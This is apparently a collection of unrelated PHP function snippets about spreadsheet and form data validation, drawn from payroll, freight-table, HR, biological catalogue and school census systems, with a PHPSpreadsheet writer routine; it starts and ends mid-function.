(property_exists(object_or_class: 'calcula_imss', property: 'n_dias')){\n return $this->error->error('Error no existe el campo n_dias', $this);\n }\n\n if($this->monto_uma<=0){\n return $this->error->error('Error uma debe ser mayor a 0', $this->monto_uma);\n }\n if($this->sbc<=0){\n return $this->error->error('Error sbc debe ser mayor a 0', $this->sbc);\n }\n if($this->n_dias<=0){\n return $this->error->error('Error n_dias debe ser mayor a 0', $this->n_dias);\n }\n return true;\n }", "public function testValidateDocumentXlsxValidation()\n {\n }", "public function validarColumnas($lista)\n {\n foreach ($lista as $key => $campo)\n {\n $pos=$key+1;\n if($campo!=$this->excel->sheets[0]['cells'][2][$pos])\n {\n $this->error=self::ERROR_ESTRUC;\n $this->errorComment.=\"<h5 class='nocargados'> El archivo '\".$this->nombreArchivo.\"' tiene la columna \".$this->excel->sheets[0]['cells'][2][$pos].\" en lugar de \".$campo.\"</h5> <br/>\";\n return false;\n }\n }\n $this->error=self::ERROR_NONE;\n return true;\n }", "public function valid()\n {\n return $this->_position < ExcelCell::columnIndexFromString($this->_subject->getHighestColumn());\n }", "public function revisarFormato($archivo, $tipo_archivo)\n {\n\n\n Excel::selectSheetsByIndex(0)->load($archivo, function($reader) use ($tipo_archivo) {\n\n $reader->noHeading();\n\n $firstrow = $reader->first()->toArray();\n\n /*\n *Normalizando los nombres de las columnas (eliminamos acentos,espacios y Ñ)\n */\n $originales ='áéíóú ñ';\n $modificadas ='aeiou_n';\n\n for($i=0; $i < count($firstrow); $i++){\n $cadena = $firstrow[$i];\n $cadena = utf8_decode($cadena);\n $cadena = strtr($cadena, utf8_decode($originales), $modificadas);\n $cadena = strtolower($cadena);\n $firstrow[$i] = utf8_encode($cadena);\n }\n\n /*\n * Revisamos que el archivo tiene todas las columnas que se piden\n * y que sus nombres corresponden con los establecidos\n */\n\n switch($tipo_archivo)\n {\n case \"registros\":\n if (count($firstrow) >= 15) {\n if (($firstrow[0] == 'phylum') && ($firstrow[1] == 'clase') && (($firstrow[2] == 'subclase')\n && ($firstrow[3] == 'orden') && ($firstrow[4] == 'familia') && ($firstrow[5] == 'genero')\n && ($firstrow[6] == 'especie') && ($firstrow[7] == 'variedad') && ($firstrow[8]) == 'forma')\n && ($firstrow[9] == 'autor') && ($firstrow[10] == 'sinonimia') && ($firstrow[11] == 'cita')\n && ($firstrow[12] == 'entidad_federal') && ($firstrow[13] == 'localidad') && ($firstrow[14] == 'comentario')\n ) {\n $this->log = \"Archivo de Registros para el Catálogo con estructura correcta\";\n $this->error = false;\n } else {\n $this->log = \"NOMBRE de columnas inválidas\";\n $this->error = true;\n }\n } else {\n $this->log = \"NÚMERO de columnas inválidas\";\n $this->error = true;\n }\n break;\n\n\n case \"libros\":\n if (count($firstrow) >= 16) {\n if (($firstrow[0] == 'cita') && ($firstrow[1] == 'autores') && (($firstrow[2] == 'fecha')\n && ($firstrow[3] == 'titulo_libro') && ($firstrow[4] == 'edicion') && ($firstrow[5] == 'editorial')\n && ($firstrow[6] == 'lugar') && ($firstrow[7] == 'total_de_paginas') && ($firstrow[8]) == 'titulo_capitulo')\n && ($firstrow[9] == 'editor') && ($firstrow[10] == 'intervalo_de_paginas') && ($firstrow[11] == 'isbn')\n && ($firstrow[12] == 'doi') && ($firstrow[13] == 'enlace')&& ($firstrow[14] == 'archivo') && ($firstrow[15] == 'comentarios')\n ) {\n $this->log = 'Archivo de Referencias de Libros con estructura correcta';\n $this->error = false;\n } else {\n $this->log = \"NOMBRE de columnas inválidas\";\n $this->error = true;\n }\n } else {\n $this->log = \"NÚMERO de columnas inválidas\";\n $this->error = true;\n }\n break;\n\n\n case \"revistas\":\n if (count($firstrow) >= 14) {\n if (($firstrow[0] == 'cita') && ($firstrow[1] == 'autores') && (($firstrow[2] == 'fecha')\n && ($firstrow[3] == 'titulo') && ($firstrow[4] == 'nombre_revista') && ($firstrow[5] == 'volumen')\n && ($firstrow[6] == 'numero') && ($firstrow[7] == 'intervalo_de_paginas') && ($firstrow[8]) == 'isbn')\n && ($firstrow[9] == 'issn') && ($firstrow[10] == 'doi') && ($firstrow[11] == 'enlace')\n && ($firstrow[12] == 'archivo') && ($firstrow[13] == 'comentarios')\n ) {\n $this->log = 'Archivo de Referencias de Revistas con estructura correcta';\n $this->error = false;\n } else {\n $this->log = \"NOMBRE de columnas inválidas\";\n $this->error = true;\n }\n } else {\n $this->log = \"NÚMERO de columnas inválidas\";\n $this->error = true;\n }\n break;\n\n\n case \"trabajos\":\n if (count($firstrow) >= 11) {\n if (($firstrow[0] == 'tipo') && ($firstrow[1] == 'cita') && ($firstrow[2] == 'autores') && ($firstrow[3] == 'fecha')\n && ($firstrow[4] == 'titulo') && ($firstrow[5] == 'institucion') && ($firstrow[6] == 'lugar')\n && ($firstrow[7] == 'paginas') && ($firstrow[8] == 'enlace') && ($firstrow[9] == 'archivo') && ($firstrow[10] == 'comentarios')\n ) {\n $this->log = 'Archivo de Referencias de Revistas con estructura correcta';\n $this->error = false;\n } else {\n $this->log = \"NOMBRE de columnas inválidas\";\n $this->error = true;\n }\n } else {\n $this->log = \"NÚMERO de columnas inválidas\";\n $this->error = true;\n }\n break;\n\n case \"enlaces\":\n if (count($firstrow) >= 11) {\n if (($firstrow[0] == 'cita') && ($firstrow[1] == 'autores') && ($firstrow[2] == 'fecha') && ($firstrow[3] == 'nombre_pagina')\n && ($firstrow[4] == 'titulo') && ($firstrow[5] == 'institucion') && ($firstrow[6] == 'lugar')\n && ($firstrow[7] == 'direccion_web') && ($firstrow[8] == 'dia_consulta') && ($firstrow[9] == 'mes_consulta') && ($firstrow[10] == 'ano_consulta')\n ) {\n $this->log = 'Archivo de Referencias de Revistas con estructura correcta';\n $this->error = false;\n } else {\n $this->log = \"NOMBRE de columnas inválidas\";\n $this->error = true;\n }\n } else {\n $this->log = \"NÚMERO de columnas inválidas\";\n $this->error = true;\n }\n break;\n\n\n case \"coordenadas\":\n if (count($firstrow) >= 6) {\n if (($firstrow[0] == 'entidad') && ($firstrow[1] == 'localidad') && ($firstrow[2] == 'lugar') && ($firstrow[3] == 'sitio')\n && ($firstrow[4] == 'latitud') && ($firstrow[5] == 'longitud')\n ) {\n $this->log = 'Archivo de Coordenadas con estructura correcta';\n $this->error = false;\n } else {\n $this->log = \"NOMBRE de columnas inválidas\";\n $this->error = true;\n }\n } else {\n $this->log = \"NÚMERO de columnas inválidas\";\n $this->error = true;\n }\n break;\n\n default:\n $this->log = \"Error en el tipo de archivo\";\n $this->error = true;\n }\n\n\n\n\n\n });\n\n $respuesta = ['error' => $this->error, 'log' => $this->log];\n\n return $respuesta;\n }", "public function validateBody()\n {\n\n if (v::identical($this->col)->validate(1)) {\n\n /** Cidade ou Região **/\n\n $regiao = Tools::clean($this->cell);\n\n if (!v::stringType()->notBlank()->validate($regiao)) {\n throw new \\InvalidArgumentException(\"Atenção: Informe na tabela a Cidade ou Região corretamente.\", E_USER_WARNING);\n }\n\n $this->array[$this->row]['regiao'] = $regiao;\n\n }\n\n if (v::identical($this->col)->validate(2)) {\n\n /** Faixa CEP Inicial **/\n\n $cep_inicio = Tools::clean($this->cell);\n\n if (!v::postalCode('BR')->validate($cep_inicio)) {\n\n throw new \\InvalidArgumentException(\"ATENÇÃO: Erro na linha {$this->row}, Informe na tabela as faixas de CEP no formato correto.\n\n Ex.: 09999-999\n\n Por favor, corrija o CEP Inicial \\\"{$cep_inicio}\\\" e envie o arquivo novamente.\", E_USER_WARNING);\n\n }\n\n $this->array[$this->row]['cep_inicio'] = $cep_inicio;\n\n }\n\n if (v::identical($this->col)->validate(3)) {\n\n /** Faixa CEP Final **/\n\n $cep_fim = Tools::clean($this->cell);\n\n if (!v::postalCode('BR')->validate($cep_fim)) {\n\n throw new \\InvalidArgumentException(\"ATENÇÃO: Erro na linha {$this->row}, Informe na tabela as faixas de CEP no formato correto.\n\n Ex.: 09999-999\n\n Por favor, corrija o CEP Final \\\"{$cep_fim}\\\" e envie o arquivo novamente.\", E_USER_WARNING);\n\n }\n\n $this->array[$this->row]['cep_fim'] = $cep_fim;\n\n }\n\n if (v::identical($this->col)->validate(4)) {\n\n /** Peso Inicial **/\n\n $peso_inicial = Tools::clean($this->cell);\n\n if (v::numeric()->negative()->validate(Tools::convertToDecimal($peso_inicial))) {\n\n throw new \\InvalidArgumentException(\"ATENÇÃO: Erro na linha {$this->row}, os VALORES do Peso Inicial não pode conter numeros negativos.\n\n Por favor, corrija o valor \\\"{$peso_inicial}\\\" e envie o arquivo novamente.\", E_USER_WARNING);\n\n }\n\n $this->array[$this->row]['peso_inicial'] = $peso_inicial;\n\n }\n\n if (v::identical($this->col)->validate(5)) {\n\n /** Peso Final **/\n\n $peso_final = Tools::clean($this->cell);\n\n if (!v::numeric()->positive()->validate(Tools::convertToDecimal($peso_final))) {\n\n throw new \\InvalidArgumentException(\"ATENÇÃO: Erro na linha {$this->row}, os VALORES do Peso Final não pode ser menor ou igual a Zero.\n\n Por favor, corrija o valor \\\"{$peso_final}\\\" e envie o arquivo novamente.\", E_USER_WARNING);\n\n }\n\n $this->array[$this->row]['peso_final'] = $peso_final;\n\n }\n\n if (v::identical($this->col)->validate(6)) {\n\n /** Valor **/\n\n $valor = Tools::clean($this->cell);\n\n if (!v::notEmpty()->validate(Tools::convertToDecimal($valor))) {\n\n throw new \\InvalidArgumentException(\"ATENÇÃO: Erro na linha {$this->row}, os VALOR do frete não pode ser vazio.\n\n Por favor, corrija o valor e envie o arquivo novamente.\", E_USER_WARNING);\n\n }\n\n if (!v::numeric()->positive()->validate(Tools::convertToDecimal($valor))) {\n\n throw new \\InvalidArgumentException(\"ATENÇÃO: Erro na linha {$this->row}, os VALORES do frete não pode ser menor ou igual a Zero.\n\n Por favor, corrija o valor \\\"{$valor}\\\" e envie o arquivo novamente.\", E_USER_WARNING);\n\n }\n\n $this->array[$this->row]['valor'] = $valor;\n\n }\n\n if (v::identical($this->col)->validate(7)) {\n\n /** Prazo de Entrega **/\n\n $prazo_entrega = (int)Tools::clean($this->cell);\n\n /**\n * Verifica o prazo de entrega\n */\n if (!v::numeric()->positive()->validate($prazo_entrega)) {\n\n throw new \\InvalidArgumentException(\"ATENÇÃO: Erro na linha {$this->row}, Atenção: Informe na tabela os Prazos de Entrega corretamente.\n\n Exemplo: 7 para sete dias.\n\n Por favor, corrija o Prazo de Entrega \\\"{$prazo_entrega}\\\" e envie o arquivo novamente.\", E_USER_WARNING);\n\n }\n\n if (!v::numeric()->notBlank()->validate($prazo_entrega)) {\n $prazo_entrega = null;\n }\n\n $this->array[$this->row]['prazo_entrega'] = $prazo_entrega;\n\n }\n\n if (v::identical($this->col)->validate(8)) {\n\n /** AD VALOREM **/\n\n $ad_valorem = Tools::clean($this->cell);\n\n if (!empty($ad_valorem) && !v::numeric()->positive()->validate(Tools::convertToDecimal($ad_valorem))) {\n\n throw new \\InvalidArgumentException(\"ATENÇÃO: Erro na linha {$this->row}, os VALORES do AD VALOREM não pode conter numeros negativos.\n\n Por favor, corrija o valor \\\"{$this->cell}\\\" e envie o arquivo novamente.\", E_USER_WARNING);\n\n }\n\n if (!v::numeric()->notBlank()->validate(Tools::convertToDecimal($ad_valorem))) {\n $ad_valorem = null;\n }\n\n $this->array[$this->row]['ad_valorem'] = $ad_valorem;\n\n }\n\n if (v::identical($this->col)->validate(9)) {\n\n /** KG Adicional **/\n\n $kg_adicional = Tools::clean($this->cell);\n\n if (!empty($kg_adicional) && v::numeric()->negative()->validate(Tools::convertToDecimal($kg_adicional))) {\n\n throw new \\InvalidArgumentException(\"ATENÇÃO: Erro na linha {$this->row}, os VALORES do KG Adicional não pode conter numeros negativos.\n\n Por favor, corrija o valor \\\"{$kg_adicional}\\\" e envie o arquivo novamente.\", E_USER_WARNING);\n\n }\n\n if (!v::numeric()->notBlank()->validate(Tools::convertToDecimal($kg_adicional))) {\n $kg_adicional = null;\n }\n\n $this->array[$this->row]['kg_adicional'] = $kg_adicional;\n\n }\n\n return $this->array;\n\n }", "function checkX($currentCell,$lineCount,$cellNumber){ // CHECK 17, 18\n\t$a = array('X','x',''); //echo \"checking for an X\";\n\t$cellPassesInspection=false; // assume the cell does not pass inspection\n\t$cellPassesInspection=in_array($currentCell, $a);\n\tif ($cellPassesInspection==false){// the data has failed verification, there is no point in checking anything else... so break and throw an exception\n//\tthrowError(new Exception(\"Data failed verification at cell \" .$cellNumber.\" . In row \" . $lineCount.\".\")); // going to avoid exceptions, maybe a better way is to make an array of error locations for fixing\n\techo \"<p style='font-family:arial;color:red;font-size:14px;'> Error parsing value :<b> \" .$currentCell . \"</b> in cell number \" .$cellNumber .\" in row number \" . $lineCount .\" . Please correct the value in the csv file and resubmit!</p>\";\n\treturn false;\n\t}else{\n\techo \" <br/><B>Row \".$lineCount.\" / Cell \".$cellNumber.\" has passed verification!</B><br/>\";\n\treturn true;\n\t\t}\n\t}", "function fncValidaDI_39($IdEstado, $GestorErr, $NumReg, $Campo)\n{\n\t \n\t$Bandera = CERO;\n\n\t$DI_39 = \"(39)Indicador del Empleado - Estatus del Empleado\";\n\t$DI_39_ErrTam = \"Indicador del Empleado - Estatus del Empleado debe ser de 1 Digíto\";\n\t$DI_39_noDI \t = \"Indicador del Empleado - Estatus del Empleado no corresponde al catalogo establecido por DGRH(0,1,4)\";\n\n\t$IndEmpl = array(\"0\",\"2\",\"1\",\"4\",\"3\");\t\n\t$LocCampo =$Campo;\n\tif (strlen($LocCampo) == UNO)\n\t{\n\t\tif(!in_array($LocCampo, $IndEmpl))\n\t\t{\n\t\t\t$Error = $NumReg .\"|\".$DI_39.\"|\".$LocCampo.\"|\" . $DI_39_noDI.\"|\\n\";\n\t\t\tfwrite($GestorErr, $Error);\n\t\t\t$Bandera = UNO;\n\t\t}\t\n\t}\n\telse\n\t{\n\t\t$Error = $NumReg .\"|\".$DI_39.\"|\".$LocCampo.\"|\" . $DI_39_ErrTam.\"|\\n\";\n\t\tfwrite($GestorErr, $Error);\n\t\t$Bandera = UNO;\n\t}\n\treturn $Bandera;\n}", "abstract protected function excel ();", "public function run()\n {\n\t\t$objPHPExcel = PHPExcel_IOFactory::load('public/excel-imports/designations.xlsx');\n\t\t$sheet = $objPHPExcel->getSheet(0);\n\t\t$highestRow = $sheet->getHighestDataRow();\n\t\t$highestColumn = $sheet->getHighestDataColumn();\n\t\t$header = $sheet->rangeToArray('A1:' . $highestColumn . '1', null, true, false);\n\t\t$header = $header[0];\n\t\tforeach ($header as $key => $column) {\n\t\t\tif ($column == null) {\n\t\t\t\tunset($header[$key]);\n\t\t\t}\n\t\t}\n\n\t\t$designation = $sheet->rangeToArray('A2:' . $highestColumn . $highestRow, null, true, false);\n\t\tif (!empty($designation)) {\n\t\t\tforeach ($designation as $key => $designationValue) {\n\t\t\t\t$val = [];\n\t\t\t\tforeach ($header as $headerKey => $column) {\n\t\t\t\t\tif (!$column) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$header_col = str_replace(' ', '_', strtolower($column));\n\t\t\t\t\t\t$val[$header_col] = $designationValue[$headerKey];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$val = (object) $val;\n\t\t\t\ttry {\n\t\t\t\t\tif (empty($val->company)) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' - Company is required');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}if (empty($val->name)) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' - Name is required');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tif (empty($val->grade)) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' - Grade name is required');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tdump($val->company, $val->name, $val->grade);\n\n\t\t\t\t\t$validator = Validator::make((array) $val, [\n\t\t\t\t\t\t'name' => [\n\t\t\t\t\t\t\t'string',\n\t\t\t\t\t\t\t'max:255',\n\t\t\t\t\t\t],\n\t\t\t\t\t]);\n\t\t\t\t\tif ($validator->fails()) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' ' . implode('', $validator->errors()->all()));\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tdump($val->company, $val->name, $val->grade);\n\n\t\t\t\t\t$company = Company::select(\n\t\t\t\t\t\t'id',\n\t\t\t\t\t\t'name'\n\t\t\t\t\t)\n\t\t\t\t\t\t->where('id', $val->company)\n\t\t\t\t\t\t->first();\n\t\t\t\t\tif (!$company) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' - Company not found');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\t$grade = Entity::select(\n\t\t\t\t\t\t'id',\n\t\t\t\t\t\t'name'\n\t\t\t\t\t)\n\t\t\t\t\t\t->where('name', $val->grade)\n\t\t\t\t\t\t->first();\n\n\t\t\t\t\tif (!$grade) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' - Grade Not Found');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\t$existing_designation = Designation::where('company_id',$company->id)\n\t\t\t\t\t->where('name',$val->name)\n\t\t\t\t\t->where('grade_id',$grade->id)->first();\n\t\t\t\t\t\n\t\t\t\t\tif ($existing_designation) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' - Designation Already Exist');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\t$designation = new Designation;\n\t\t\t\t\t$designation->company_id = $company->id;\n\t\t\t\t\t$designation->name = $val->name;\n\t\t\t\t\t$designation->grade_id = $grade->id;\n\t\t\t\t\t$designation->created_by = 1;\n\t\t\t\t\t$designation->save();\n\t\t\t\t\tdump(' === updated === ');\n\n\t\t\t\t} catch (\\Exception $e) {\n\t\t\t\t\tdump($e);\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\n\t\t\tdd(' == completed ==');\n\t\t}\n }", "private function writeDataValidity(): void\n {\n // Datavalidation collection\n $dataValidationCollection = $this->phpSheet->getDataValidationCollection();\n\n // Write data validations?\n if (!empty($dataValidationCollection)) {\n // DATAVALIDATIONS record\n $record = 0x01B2; // Record identifier\n $length = 0x0012; // Bytes to follow\n\n $grbit = 0x0000; // Prompt box at cell, no cached validity data at DV records\n $horPos = 0x00000000; // Horizontal position of prompt box, if fixed position\n $verPos = 0x00000000; // Vertical position of prompt box, if fixed position\n $objId = 0xFFFFFFFF; // Object identifier of drop down arrow object, or -1 if not visible\n\n $header = pack('vv', $record, $length);\n $data = pack('vVVVV', $grbit, $horPos, $verPos, $objId, count($dataValidationCollection));\n $this->append($header . $data);\n\n // DATAVALIDATION records\n $record = 0x01BE; // Record identifier\n\n foreach ($dataValidationCollection as $cellCoordinate => $dataValidation) {\n // options\n $options = 0x00000000;\n\n // data type\n $type = CellDataValidation::type($dataValidation);\n\n $options |= $type << 0;\n\n // error style\n $errorStyle = CellDataValidation::errorStyle($dataValidation);\n\n $options |= $errorStyle << 4;\n\n // explicit formula?\n if ($type == 0x03 && preg_match('/^\\\".*\\\"$/', $dataValidation->getFormula1())) {\n $options |= 0x01 << 7;\n }\n\n // empty cells allowed\n $options |= $dataValidation->getAllowBlank() << 8;\n\n // show drop down\n $options |= (!$dataValidation->getShowDropDown()) << 9;\n\n // show input message\n $options |= $dataValidation->getShowInputMessage() << 18;\n\n // show error message\n $options |= $dataValidation->getShowErrorMessage() << 19;\n\n // condition operator\n $operator = CellDataValidation::operator($dataValidation);\n\n $options |= $operator << 20;\n\n $data = pack('V', $options);\n\n // prompt title\n $promptTitle = $dataValidation->getPromptTitle() !== '' ?\n $dataValidation->getPromptTitle() : chr(0);\n $data .= StringHelper::UTF8toBIFF8UnicodeLong($promptTitle);\n\n // error title\n $errorTitle = $dataValidation->getErrorTitle() !== '' ?\n $dataValidation->getErrorTitle() : chr(0);\n $data .= StringHelper::UTF8toBIFF8UnicodeLong($errorTitle);\n\n // prompt text\n $prompt = $dataValidation->getPrompt() !== '' ?\n $dataValidation->getPrompt() : chr(0);\n $data .= StringHelper::UTF8toBIFF8UnicodeLong($prompt);\n\n // error text\n $error = $dataValidation->getError() !== '' ?\n $dataValidation->getError() : chr(0);\n $data .= StringHelper::UTF8toBIFF8UnicodeLong($error);\n\n // formula 1\n try {\n $formula1 = $dataValidation->getFormula1();\n if ($type == 0x03) { // list type\n $formula1 = str_replace(',', chr(0), $formula1);\n }\n $this->parser->parse($formula1);\n $formula1 = $this->parser->toReversePolish();\n $sz1 = strlen($formula1);\n } catch (PhpSpreadsheetException $e) {\n $sz1 = 0;\n $formula1 = '';\n }\n $data .= pack('vv', $sz1, 0x0000);\n $data .= $formula1;\n\n // formula 2\n try {\n $formula2 = $dataValidation->getFormula2();\n if ($formula2 === '') {\n throw new WriterException('No formula2');\n }\n $this->parser->parse($formula2);\n $formula2 = $this->parser->toReversePolish();\n $sz2 = strlen($formula2);\n } catch (PhpSpreadsheetException $e) {\n $sz2 = 0;\n $formula2 = '';\n }\n $data .= pack('vv', $sz2, 0x0000);\n $data .= $formula2;\n\n // cell range address list\n $data .= pack('v', 0x0001);\n $data .= $this->writeBIFF8CellRangeAddressFixed($cellCoordinate);\n\n $length = strlen($data);\n $header = pack('vv', $record, $length);\n\n $this->append($header . $data);\n }\n }\n }", "public function validateHeader($cell)\n {\n $array = [\n 'Cidade ou Região',\n 'Faixa CEP Inicial',\n 'Faixa CEP Final',\n 'Peso Inicial',\n 'Peso Final',\n 'Valor Frete',\n 'Prazo de Entrega',\n 'AD VALOREM ( % )',\n 'KG Adicional'\n ];\n\n if (!in_array($cell, $array, true)) {\n throw new \\InvalidArgumentException(ERROR_FILE_INVALID_IMPORT_EXCEL, E_USER_WARNING);\n }\n }", "function fncValidaDI_34($IdEstado, $GestorErr, $NumReg, $Campo)\n{\n\t \n\t$Bandera = CERO;\n\n\t$DI_34 = \"(34)Indicador de Mando\";\n\t$DI_34_ErrTam = \"Indicador de Mando debe ser de 2 Digítos\";\n\t$DI_34_noDI \t = \"Indicador de Mando no corresponde al catalogo establecidas por DGRH\";\n\t\n\t$IndMando = array(\"01\",\"08\",\"10\",\"30\",\"50\",\"60\",\"70\",\"75\",\"80\",\"90\");\n\n\t$LocCampo =$Campo;\n\tif (strlen($LocCampo) == DOS)\n\t{\n\t\tif(!in_array($LocCampo, $IndMando))\n\t\t{\n\t\t\t$Error = $NumReg .\"|\".$DI_34.\"|\".$LocCampo.\"|\" . $DI_34_noDI.\"|\\n\";\n\t\t\tfwrite($GestorErr, $Error);\n\t\t\t$Bandera = UNO;\n\t\t}\t\n\t}\n\telse\n\t{\n\t\t$Error = $NumReg .\"|\".$DI_34.\"|\".$LocCampo.\"|\" . $DI_34_ErrTam.\"|\\n\";\n\t\tfwrite($GestorErr, $Error);\n\t\t$Bandera = UNO;\n\t}\n\treturn $Bandera;\n}", "function fncValidaDI_63($IdEstado, $GestorErr, $NumReg, $Campo){\n\t \n\t$Bandera = CERO;\n\t$DI_62 = \"(63)Indicador de TESOFE -JORNADA\";\n\t$DI_62_ErrTam = \"Indicador de TESOFE-JORNADA debe ser de 2 Digitos\";\n\t$DI_62_Catalogo = \"Indicador de TESOFE-JORNADA No coincide con catalogo definido por la DGRH\";\n\t\n\t$JorArray =array(\"01\",\"02\",\"03\",\"04\",\"05\");\t\n\n\t$LocCampo = $Campo;\n\tif (strlen($LocCampo) == DOS){\n\n\t\tif(!in_array($LocCampo,$JorArray)){\n\t\t\t$Error = $NumReg .\"|\".$DI_62.\"|\".$LocCampo.\"|\" . $DI_62_Catalogo.\"|\\n\";\n\t\t\tfwrite($GestorErr, $Error);\n\t\t\t$Bandera = UNO;\n\t\t}\t\n\n\t}\n\telse{\n\t\t$Error = $NumReg .\"|\".$DI_62.\"|\".$LocCampo.\"|\" . $DI_62_ErrTam.\"|\\n\";\n\t\tfwrite($GestorErr, $Error);\n\t\t$Bandera = UNO;\n\t}\n\treturn $Bandera;\n}", "public function valid();", "public function valid();", "public function valid();", "public function valid();", "public static function xlsValidate()\n {\n $file = $_FILES['file']['name'];\n $file_part = pathinfo($file);\n $extension = $file_part['extension'];\n $support_extention = array('xls', 'xlsx');\n if (! in_array($extension, $support_extention)) {\n throw new PointException('FILE FORMAT NOT ACCEPTED, PLEASE USE XLS OR XLSX EXTENTION');\n }\n }", "public function testValidateDocumentXlsValidation()\n {\n }", "public function validarDados(IExportacaoCenso $oExportacaoCenso) {\n\n $lTodosDadosValidos = true;\n $oDadosEscola = $oExportacaoCenso->getDadosProcessadosEscola();\n $sMensagem = \"\";\n\n /**\n * Início da validação dos campos obrigatórios\n */\n if( trim( $oDadosEscola->registro00->codigo_escola_inep ) == '' ) {\n\n $sMensagem = \"É necessário informar o código INEP da escola.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if( trim( $oDadosEscola->registro00->codigo_escola_inep ) != '' ) {\n\n if( !DBNumber::isInteger( $oDadosEscola->registro00->codigo_escola_inep ) ) {\n\n $sMensagem = \"Código INEP da escola inválido. O código INEP deve conter apenas números.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if( strlen( trim( $oDadosEscola->registro00->codigo_escola_inep ) ) != 8 ) {\n\n $sMensagem = \"Código INEP da escola inválido. O código INEP deve conter 8 dígitos.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n }\n\n if (trim($oDadosEscola->registro00->nome_escola) == '') {\n\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro(\"Nome da Escola não pode ser vazio\", ExportacaoCensoBase::LOG_ESCOLA);\n }\n\n if ( trim( $oDadosEscola->registro00->nome_escola ) != ''\n && strlen( $oDadosEscola->registro00->nome_escola ) < 4\n ) {\n\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro(\"Nome da Escola deve conter no mínimo 4 dígitos\", ExportacaoCensoBase::LOG_ESCOLA);\n }\n\n if ($oDadosEscola->registro00->cep == '') {\n\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro(\"Campo CEP é obrigatório\", ExportacaoCensoBase::LOG_ESCOLA);\n }\n\n if( !empty( $oDadosEscola->registro00->cep ) ) {\n\n if( !DBNumber::isInteger( $oDadosEscola->registro00->cep ) ) {\n\n $sMensagem = \"CEP inválido. Deve conter somente números.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if (strlen($oDadosEscola->registro00->cep) < 8) {\n\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro(\"CEP da escola deve conter 8 dígitos.\", ExportacaoCensoBase::LOG_ESCOLA);\n }\n }\n\n if ($oDadosEscola->registro00->endereco == '') {\n\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro(\"Endereço da escola é obrigatório.\", ExportacaoCensoBase::LOG_ESCOLA);\n }\n\n if ($oDadosEscola->registro00->uf == '') {\n\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro(\"UF da escolas é obrigatório.\", ExportacaoCensoBase::LOG_ESCOLA);\n }\n\n if ($oDadosEscola->registro00->municipio == '') {\n\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro(\"Campo Munícipio da escola é obrigatório.\", ExportacaoCensoBase::LOG_ESCOLA);\n }\n\n if ($oDadosEscola->registro00->distrito == '') {\n\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro(\"Campo Distrito é obrigatório.\", ExportacaoCensoBase::LOG_ESCOLA);\n }\n\n /**\n * Validações que serão executadas caso a situação de funcionamento seja igual a 1\n * 1 - em atividade\n */\n if ($oDadosEscola->registro00->situacao_funcionamento == 1) {\n\n\n if (trim($oDadosEscola->registro00->codigo_orgao_regional_ensino) == '' && $oDadosEscola->registro00->lOrgaoEnsinoObrigatorio) {\n\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro(\"Orgão Regional de Ensino obrigatório.\", ExportacaoCensoBase::LOG_ESCOLA);\n }\n\n if ($oDadosEscola->registro00->data_inicio_ano_letivo == '') {\n\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro(\"Campo Data de Início do Ano Letivo é obrigatório\", ExportacaoCensoBase::LOG_ESCOLA);\n }\n\n if ($oDadosEscola->registro00->data_termino_ano_letivo == '') {\n\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro(\"Campo Data de Término do Ano Letivo é obrigatório\", ExportacaoCensoBase::LOG_ESCOLA);\n }\n\n if( !empty( $oDadosEscola->registro00->data_inicio_ano_letivo )\n && !empty( $oDadosEscola->registro00->data_termino_ano_letivo ) ) {\n\n $oDataInicio = new DBDate( $oDadosEscola->registro00->data_inicio_ano_letivo );\n $oDataTermino = new DBDate( $oDadosEscola->registro00->data_termino_ano_letivo );\n\n if( DBDate::calculaIntervaloEntreDatas( $oDataInicio, $oDataTermino, 'd' ) > 0 ) {\n\n $sMensagem = \"A data de início do ano letivo não pode ser maior que a data de término.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if( $oExportacaoCenso->getDataCenso() != '' ) {\n\n $oDataCenso = new DBDate( $oExportacaoCenso->getDataCenso() );\n $iAnoAnterior = $oDataCenso->getAno() - 1;\n if( $oDataInicio->getAno() != $oDataCenso->getAno()\n && $oDataInicio->getAno() != $iAnoAnterior\n ) {\n\n $sMensagem = \"Data de início do ano letivo 